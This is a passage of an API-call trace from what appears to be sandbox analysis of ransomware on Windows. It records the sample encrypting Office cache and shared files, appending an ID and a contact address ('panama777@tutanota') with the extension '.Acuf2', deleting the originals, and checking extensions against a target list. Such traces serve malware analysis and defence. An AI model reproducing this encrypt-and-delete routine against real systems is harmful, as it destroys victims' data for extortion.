	[0040.002] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198
	[0040.002] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.003] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.003] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.003] GetLastError () returned 0x0
	[0040.003] ReadFile (in: hFile=0x198, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x5061, lpOverlapped=0x0) returned 1
	[0040.005] WriteFile (in: hFile=0x190, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x5070, lpOverlapped=0x0) returned 1
	[0040.006] ReadFile (in: hFile=0x198, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0040.006] WriteFile (in: hFile=0x190, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0040.006] SetEndOfFile (hFile=0x190) returned 1
	[0040.006] CloseHandle (hObject=0x190) returned 1
	[0040.009] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.009] SetEndOfFile (hFile=0x198) returned 1
	[0040.010] CloseHandle (hObject=0x198) returned 1
	[0040.010] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0040.010] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0040.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.010] lstrlenW (lpString=".doc") returned 4
	[0040.010] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.010] lstrlenW (lpString=".docx") returned 5
	[0040.010] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0040.010] lstrlenW (lpString=".pdf") returned 4
	[0040.011] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString=".xls") returned 4
	[0040.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString=".xlsx") returned 5
	[0040.011] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0040.011] lstrlenW (lpString=".ppt") returned 4
	[0040.011] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.011] lstrlenW (lpString=".zip") returned 4
	[0040.011] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.011] lstrlenW (lpString=".rar") returned 4
	[0040.011] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString=".bz2") returned 4
	[0040.011] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString=".7z") returned 3
	[0040.011] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.011] lstrlenW (lpString=".dbf") returned 4
	[0040.011] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.011] lstrlenW (lpString=".1cd") returned 4
	[0040.011] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.011] lstrlenW (lpString=".jpg") returned 4
	[0040.011] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.011] lstrlenW (lpString=".doc") returned 4
	[0040.011] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.011] lstrlenW (lpString=".docx") returned 5
	[0040.012] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0040.012] lstrlenW (lpString=".pdf") returned 4
	[0040.012] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.012] lstrlenW (lpString=".xls") returned 4
	[0040.012] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.012] lstrlenW (lpString=".xlsx") returned 5
	[0040.012] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0040.012] lstrlenW (lpString=".ppt") returned 4
	[0040.012] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.012] lstrlenW (lpString=".zip") returned 4
	[0040.012] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.012] lstrlenW (lpString=".rar") returned 4
	[0040.012] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.012] lstrlenW (lpString=".bz2") returned 4
	[0040.012] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.012] lstrlenW (lpString=".7z") returned 3
	[0040.012] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.012] lstrlenW (lpString=".dbf") returned 4
	[0040.012] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.012] lstrlenW (lpString=".1cd") returned 4
	[0040.012] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0040.012] lstrlenW (lpString=".jpg") returned 4
	[0040.012] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.013] lstrcmpiW (lpString1=".JPG", lpString2=".Acuf2") returned 1
	[0040.013] lstrlenW (lpString="MS.JPG") returned 6
	[0040.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0040.983] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1061) returned 1
	[0040.983] CloseHandle (hObject=0x19c) returned 1
	[0040.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20
	[0040.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0040.983] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.983] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.984] GetLastError () returned 0x0
	[0040.984] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x425, lpOverlapped=0x0) returned 1
	[0040.985] WriteFile (in: hFile=0x190, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x430, lpOverlapped=0x0) returned 1
	[0040.986] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0040.986] WriteFile (in: hFile=0x190, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0040.986] SetEndOfFile (hFile=0x190) returned 1
	[0040.986] CloseHandle (hObject=0x190) returned 1
	[0040.987] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.987] SetEndOfFile (hFile=0x19c) returned 1
	[0040.988] CloseHandle (hObject=0x19c) returned 1
	[0040.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0040.988] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1
	[0040.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.988] lstrlenW (lpString=".doc") returned 4
	[0040.988] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0040.988] lstrlenW (lpString=".docx") returned 5
	[0040.988] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1
	[0040.988] lstrlenW (lpString=".pdf") returned 4
	[0040.988] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0040.988] lstrlenW (lpString=".xls") returned 4
	[0040.988] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0040.988] lstrlenW (lpString=".xlsx") returned 5
	[0040.988] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1
	[0040.988] lstrlenW (lpString=".ppt") returned 4
	[0040.989] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0040.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.989] lstrlenW (lpString=".zip") returned 4
	[0040.989] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0040.989] lstrlenW (lpString=".rar") returned 4
	[0040.989] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0040.989] lstrlenW (lpString=".bz2") returned 4
	[0040.989] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0040.989] lstrlenW (lpString=".7z") returned 3
	[0040.989] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0040.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.989] lstrlenW (lpString=".dbf") returned 4
	[0040.989] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0040.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.989] lstrlenW (lpString=".1cd") returned 4
	[0040.989] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0040.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.989] lstrlenW (lpString=".jpg") returned 4
	[0040.989] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0040.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.989] lstrlenW (lpString=".doc") returned 4
	[0040.989] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0040.989] lstrlenW (lpString=".docx") returned 5
	[0040.989] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1
	[0040.989] lstrlenW (lpString=".pdf") returned 4
	[0040.989] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0040.989] lstrlenW (lpString=".xls") returned 4
	[0040.989] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0040.989] lstrlenW (lpString=".xlsx") returned 5
	[0040.989] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1
	[0040.990] lstrlenW (lpString=".ppt") returned 4
	[0040.990] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0040.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.990] lstrlenW (lpString=".zip") returned 4
	[0040.990] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0040.990] lstrlenW (lpString=".rar") returned 4
	[0040.990] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0040.990] lstrlenW (lpString=".bz2") returned 4
	[0040.990] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0040.990] lstrlenW (lpString=".7z") returned 3
	[0040.990] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0040.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.990] lstrlenW (lpString=".dbf") returned 4
	[0040.990] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0040.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.990] lstrlenW (lpString=".1cd") returned 4
	[0040.990] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0040.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0040.990] lstrlenW (lpString=".jpg") returned 4
	[0040.990] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0040.990] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0040.991] lstrlenW (lpString="base.xml") returned 8
	[0040.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0040.994] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3150) returned 1
	[0040.995] CloseHandle (hObject=0x19c) returned 1
	[0040.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20
	[0040.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.995] lstrlenW (lpString=".doc") returned 4
	[0040.995] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.995] lstrlenW (lpString=".docx") returned 5
	[0040.995] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0040.995] lstrlenW (lpString=".pdf") returned 4
	[0040.995] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.995] lstrlenW (lpString=".xls") returned 4
	[0040.995] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.995] lstrlenW (lpString=".xlsx") returned 5
	[0040.995] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0040.995] lstrlenW (lpString=".ppt") returned 4
	[0040.995] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.995] lstrlenW (lpString=".zip") returned 4
	[0040.995] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.995] lstrlenW (lpString=".rar") returned 4
	[0040.995] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString=".bz2") returned 4
	[0040.996] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString=".7z") returned 3
	[0040.996] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.996] lstrlenW (lpString=".dbf") returned 4
	[0040.996] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.996] lstrlenW (lpString=".1cd") returned 4
	[0040.996] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.996] lstrlenW (lpString=".jpg") returned 4
	[0040.996] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.996] lstrlenW (lpString=".doc") returned 4
	[0040.996] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString=".docx") returned 5
	[0040.996] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0040.996] lstrlenW (lpString=".pdf") returned 4
	[0040.996] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString=".xls") returned 4
	[0040.996] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString=".xlsx") returned 5
	[0040.996] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0040.996] lstrlenW (lpString=".ppt") returned 4
	[0040.996] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.996] lstrlenW (lpString=".zip") returned 4
	[0040.996] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.996] lstrlenW (lpString=".rar") returned 4
	[0040.996] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.997] lstrlenW (lpString=".bz2") returned 4
	[0040.997] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.997] lstrlenW (lpString=".7z") returned 3
	[0040.997] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.997] lstrlenW (lpString=".dbf") returned 4
	[0040.997] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.997] lstrlenW (lpString=".1cd") returned 4
	[0040.997] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0040.997] lstrlenW (lpString=".jpg") returned 4
	[0040.997] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.997] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0040.997] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17
	[0040.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0040.997] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=247) returned 1
	[0040.997] CloseHandle (hObject=0x19c) returned 1
	[0040.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20
	[0040.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.998] lstrlenW (lpString=".doc") returned 4
	[0040.998] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.998] lstrlenW (lpString=".docx") returned 5
	[0040.998] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0040.998] lstrlenW (lpString=".pdf") returned 4
	[0040.998] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.998] lstrlenW (lpString=".xls") returned 4
	[0040.998] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.998] lstrlenW (lpString=".xlsx") returned 5
	[0040.998] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0040.998] lstrlenW (lpString=".ppt") returned 4
	[0040.998] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.998] lstrlenW (lpString=".zip") returned 4
	[0040.998] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.998] lstrlenW (lpString=".rar") returned 4
	[0040.998] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.998] lstrlenW (lpString=".bz2") returned 4
	[0040.998] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.998] lstrlenW (lpString=".7z") returned 3
	[0040.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.998] lstrlenW (lpString=".dbf") returned 4
	[0040.998] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0040.998] lstrlenW (lpString=".1cd") returned 4
	[0040.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
